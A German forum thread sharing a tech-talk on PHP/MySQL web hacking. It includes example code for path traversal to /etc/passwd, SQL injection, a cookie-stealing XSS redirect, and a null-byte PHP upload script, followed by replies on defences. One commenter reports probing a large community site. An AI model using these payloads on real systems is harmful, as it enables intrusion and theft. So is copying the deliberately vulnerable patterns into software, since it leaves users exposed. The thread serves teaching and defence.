Präsentation zum Thema "Hacking"

Diese Seite verwendet Cookies. Durch die Nutzung unserer Seite erklären Sie sich damit einverstanden, dass wir Cookies setzen. Weitere Informationen

  • Präsentation zum Thema "Hacking"

    Auf meiner Arbeit halten wir regelmäßig Tech Talks zu Themen die uns interessieren. Das Thema meiner Wahl fiel auf Webhacking mit PHP + MySQL.

    Die Präsentation findet ihr hier: slideshare.net/d0nut/webhacks-am-beispiel-php-mysql
    [slideshare]http://www.slideshare.net/d0nut/webhacks-am-beispiel-php-mysql[/slideshare]

    Die Themen waren:

    Paris Hilton Bug
    Hier geht es um die Dummheit der Benutzer. Angefangen vom dummen User über ein CMS mit schlecht kommunizierten Benutzerrechten, bis hin zum Payment Anbieter der wichtige Felder vom Hashen ausnimmt.

    XSS
    Falls dem Benutzer ermöglicht wird an irgendeiner Stelle der Domain HTML Code einzuschleusen ist der Weg für Cross Site Scripting geebnet.
    Damit können Cookies ausgelesen und damit fremde Identitäten übernommen werden.

    SQL Injections
    Mit SQL Injections lassen sich Daten manipulieren oder in Erfahrung bringen.

    Session Stealing
    Wird die Session nach Login/Registrierung nicht erneuert kann ein Angreifer dem Opfer seine Session unterjubeln.

    File Inclusion
    Ein Dateiupload ist ein potentielles Sicherheitsrisiko, wenn man die Dateien nicht aufs Genauste prüft.

    Technikausblick
    Andere Techniken wie Phising und E-Mail Manipulation erklärt.

    Literatur zum weiter arbeiten.


    Beispielcodes

    Zugriffsschutz auf ein Bild ausgehebelt.

    Quellcode

    1. <?php
    2. header('Content-Type: image/png');
    3. $watch_permission = true;
    4. if($watch_permission) {
    5. include 'connect.php';
    6. $res = mysql_query('SELECT image_path FROM user WHERE id = 1');
    7. $row = mysql_fetch_array($res);
    8. $row['image_path'] = "icq"; // Original Daten (1)
    9. $row['image_path'] = "../../../../../../../../etc/passwd\0"; // manipulierte Daten (2)
    10. echo file_get_contents('images/'.$row['image_path'].'.jpg');
    11. } else {
    12. echo file_get_contents('no-permissions.png');
    13. }
    14. ?>
    Alles anzeigen


    Newsletter abbestellen für alle

    Quellcode

    1. <html><body>
    2. <?php
    3. if(count($_REQUEST)) {
    4. include 'connect.php';
    5. mysql_query('UPDATE user SET newsletter = '.$_REQUEST['news'].' WHERE userid = 10');
    6. }
    7. ?>
    8. <form method="post">
    9. <select name="news">
    10. <option value="0">bestellen</option>
    11. <option value="1">abbestellen</option>
    12. </select>
    13. <input type="submit"/>
    14. </form>
    15. </body></html>
    Alles anzeigen


    Produktkatalog mit Zugangsdaten

    Quellcode

    1. <html><body>
    2. <?php
    3. include 'connect.php';
    4. $res = mysql_query('SELECT titel FROM category WHERE id = '.$_GET['id']);
    5. while($row = mysql_fetch_array($res)) {
    6. printf("<li>%s</li>", $row['titel']);
    7. }
    8. ?>
    9. </body></html>


    So einfach geht Cross Site Scripting
    search.php

    Quellcode

    1. <?php
    2. include 'connect.php';
    3. session_start();
    4. $_SESSION['user'] = md5(rand(1,99));
    5. ?>
    6. <html><body>
    7. Ihre Suche nach <?=$_REQUEST['q']?>:
    8. <ol>
    9. <li><a href="searchhack.php">searchhack.php</a></li>
    10. </ol>
    11. </body></html>
    Alles anzeigen


    searchhack.php

    Quellcode

    1. <script>
    2. document.location = ('http://localhost/plista/hacking/examples/search.php?q=<script>document.'+
    3. 'write("<img src=http://localhost/plista/hacking/examples/search.php/" + document.cookie + ">")</s'+'cript>');
    4. </script>


    So verschicke ich manipulierte Upload Dateien

    Quellcode

    1. <?php
    2. function PostToHost($host, $port, $path, $postdata, $filedata) {
    3. $data = "";
    4. $boundary = "---------------------".substr(md5(rand(0,32000)),0,10);
    5. $fp = fsockopen($host, $port);
    6. fputs($fp, "POST $path HTTP/1.0\n");
    7. fputs($fp, "Host: $host\n");
    8. fputs($fp, "Content-type: multipart/form-data; boundary=".$boundary."\n");
    9. // Ab dieser Stelle sammeln wir erstmal alle Daten in einem String
    10. // Sammeln der POST Daten
    11. foreach($postdata as $key => $val){
    12. $data .= "--$boundary\n";
    13. $data .= "Content-Disposition: form-data; name=\"".$key."\"\n\n".$val."\n";
    14. }
    15. $data .= "--$boundary\n";
    16. // Sammeln der FILE Daten
    17. $data .= "Content-Disposition: form-data; name=\"{$filedata[0]}\"; filename=\"{$filedata[1]}\"\n";
    18. $data .= "Content-Type: image/jpeg\n";
    19. $data .= "Content-Transfer-Encoding: binary\n\n";
    20. $data .= $filedata[2]."\n";
    21. $data .= "--$boundary--\n";
    22. // Senden aller Informationen
    23. fputs($fp, "Content-length: ".strlen($data)."\n\n");
    24. fputs($fp, $data);
    25. // Auslesen der Antwort
    26. while(!feof($fp)) {
    27. $res .= fread($fp, 1);
    28. }
    29. fclose($fp);
    30. return $res;
    31. }
    32. echo PostToHost ("localhost", 80, "/plista/hacking/examples/upload.php",
    33. array('var1'=>'test'), array('img', "filename.php%00.jpg", '<?php die("fremdcode"); ?>'));
    34. ?>
    Alles anzeigen


    und so werden sie oft empfangen:

    Quellcode

    1. <html><body>
    2. <?php
    3. if(count($_REQUEST)) {
    4. umask(0777);
    5. if(preg_match('/\.(png|gif|jpg)$/', $_FILES['img']['name'])) {
    6. move_uploaded_file($_FILES['img']['tmp_name'], 'upload/'.$_FILES['img']['name']);
    7. echo "upload success";
    8. } else {
    9. echo "wrong type";
    10. }
    11. }
    12. ?>
    13. <form method="post" enctype="multipart/form-data">
    14. <input type="file" name="img" />
    15. <input type="submit" name="submit" value="Datei Upload" />
    16. </form>
    17. </body></html>
    Alles anzeigen


    Man sollte seine Cookies niemals disablen, sonst werden sie per $_GET übertragen

    Quellcode

    1. <?php
    2. //beispiel macht nur mit deaktivierten cookie sinn
    3. session_start();
    4. $_SESSION['user'] = md5(rand(1,99));
    5. if(isset($_SERVER['HTTP_REFERER'])) printf("referer: %s", $_SERVER['HTTP_REFERER']);
    6. ?>
    7. <html><body>
    8. <ol>
    9. <li><a href="sessionreferer.php?<?=SID?>">sessionreferer.php</a></li>
    10. </ol>
    11. </body></html>
    Alles anzeigen
  • Schick.

    Wobei bei dem Script welches die PHP Datei versendet, welche durch das nullbyte nicht erkannt werden soll bin ich der Meinung das dieser Weg gar nicht mehr funktioniert.
    Ich hab soetwas auch mal geschrieben, das nullbyte wurde zwar gesendet, doch hat PHP bereits im $_FILES array alles hinter dem nullbyte abgehackt. Kp ob ich da villeicht doch einen Fehler drinne hatte.

    Aber nette Scripts und Infos :)

    Und du hast vollkommen Recht, viele Seiten validieren mangelhaft, z.B. webspell: hier kann man dein php-file script sofort anwenden(nicht nur das :x)
  • Snowflake schrieb:

    Hier wird es ja dargestellt, dass es eine schwerwiegende Sicherheitslücke ist. Was hat es damit auf sich?


    Wenn du ein Uploadscript hast, dann kannst du in den Dateinamen ein Nullbytezeichen unterbringen.
    filename.php%00.jpg


    Vorrausgesetzt, es wird nur die Dateiendung gecheckt.
    Serverseitig wird erkannt, dass es sich um ein .jpg handelt.
    Doch ein Unix System (der Server) würde alles nach dem Nullbyte zeichen ignorieren und eine Datei mit diesem Namen speichern:
    filename.php


    So einfach könntest du deine eigenen Scripte schreiben und hochladen, wenn es nur eine Prüfung auf die Dateiendung gäbe und das Nullbyte Zeichen nicht entfernt wird.
  • Oh, das stimmt.. das habe ich nicht erwähnt.
    Ich konnte den Nullbyte Hack auf aktuellem Apache2 mit aktuellem PHP5 leider auch nicht mehr nachvollziehen.

    Andere Hacks sind zum Teil auch nicht möglich wenn Magic Quotes aktiviert sind.
    Wobei die eigentlich meist irrelevant sind, da der Programmierer früher oder später stripslashes anwenden wird.

    Wie in der Präsentation verwiesen: Ausführliches Material gibt es unter erich-kachel.de/
    Auch wenn nicht alle Hacks auf das eigene System angewendet werden können, so muss man gerade bei irgendwelchen Produkten die auch auf alten Systemen installiert werden können, doppelte Vorsicht wahren.
  • Es gibt noch eine Möglichkeit Code in ein Bild einzuschleusen.

    Also einfach das Bild öffnen und am Ende PHP Code reinschreiben oder einfach nur eine php Datei in eine jpg Datei umbenennen.

    Quellcode

    1. [...]`Oò5ßg(YxJMEëJ¶ÐÚbV Väè¦2L”"°×‹Ý:MëÚwºÿÙ <?php echo 'test'; ?>


    Das Bild ist dadurch natürlich ungültig und kann auch von einem Browser o.ä. nicht mehr interpretiert werden.
    Aber wenn es zu so einem schwerwiegenden Fehler kommt:

    Quellcode

    1. <?php
    2. include_once 'images/'.$_GET['image_name'];
    3. ?>

    ... dann wird das fehlerhafte Bild includet und auch interpretiert und in diesem Fall "test" ausgegeben.


    Ich habe das grade bei einer recht großen Community ausprobiert und beim hochladen eines beschädigten Bildes gab es überhaupt keine Probleme.
    Wenn ich jetzt noch eine include Sicherheitslücke finden würde, dann hätte ich eine viertel Mio. persönliche Daten.


    Als minimum für die Absicherung kann man immer mit getimagesize() das Bild auf die Größenverhältnisse prüfen.
    Bei einem defekten Bild funktioniert das natürlich nicht.
  • Ebenfalls beliebt ist, das Bild mit GD zu öffnen, (vll. nen pixel zu setzen) und dann wieder speichern. (am besten sogar noch in einem anderen Format).

    Dann sollte das Bild wirklich frei sein.

    Bei nicht-bild-dateien kann man z.B. durch Manipulation der Datei den PHP Code außer Kraft setzen.
    In dem man die Datei base64 codiert oder zipped sorgt man dafür das bei einer Include-Lücke nichts mehr passieren kann.
    ber ein Download script werden die Daten dann erst wieder decodiert und zum Client gesendet.
  • Bist du jetztr bei der SQL Injection oder der XSS Atacke , oder gar bei beidem ? ;)


    aber Session Array an sich kann doch nicht manipuliert werden, wenn ich keine SessionID übergebe, oder? :rolleyes:

    Wenn du die SESS ID nicht übergibst, dann gibt es auch keine Session Daten.

    das mit Integer MYSQL INJEKTION war mir ebenfalls neu. habe bis jetzt mysql_real_escape_string(trim(addslashes())); benutzt


    Dazu steht bei php.net
    de3.php.net/manual/de/function.mysql-real-escape-string.php
    mysql_real_escape_string() ruft die Funktion mysql_real_escape_string der MySQL-Bibliothek auf, die folgende Zeichen mit einem Backslash ('\') versieht: \x00, \n, \r, \, ', " und \x1a.
    Die Funktion muss immer (mit wenigen Ausnahmen) verwendet werden, um Daten abzusichern, bevor sie per Query an MySQL übermittelt werden.

    Ich weiss nicht wie Up-To-Date das ist, aber afaik werden da einige Zeichen nicht berücksichtigt.

    Wenn du die mysqli ext installiert hast (was schon auf vielen Servern zum std. geworden ist) ist die bind_param Funktion noch besser.
    de3.php.net/manual/de/mysqli-stmt.bind-param.php
    Dort werden die Daten abgeschirmt an die DB versandt.

    Heisst, dass einmal der Query mit den Platzhaltern an die DB geht sowie die Parameter und die DB sich dann um den Rest kümmert.
    Ein weiterer Vorteil ist, dass du gleich den Typ mit angeben kannst so, dass wenn du einen INTEGER festlegst, man keinen String draus basteln kann. (Wobei man niemals nie sagen soll *g)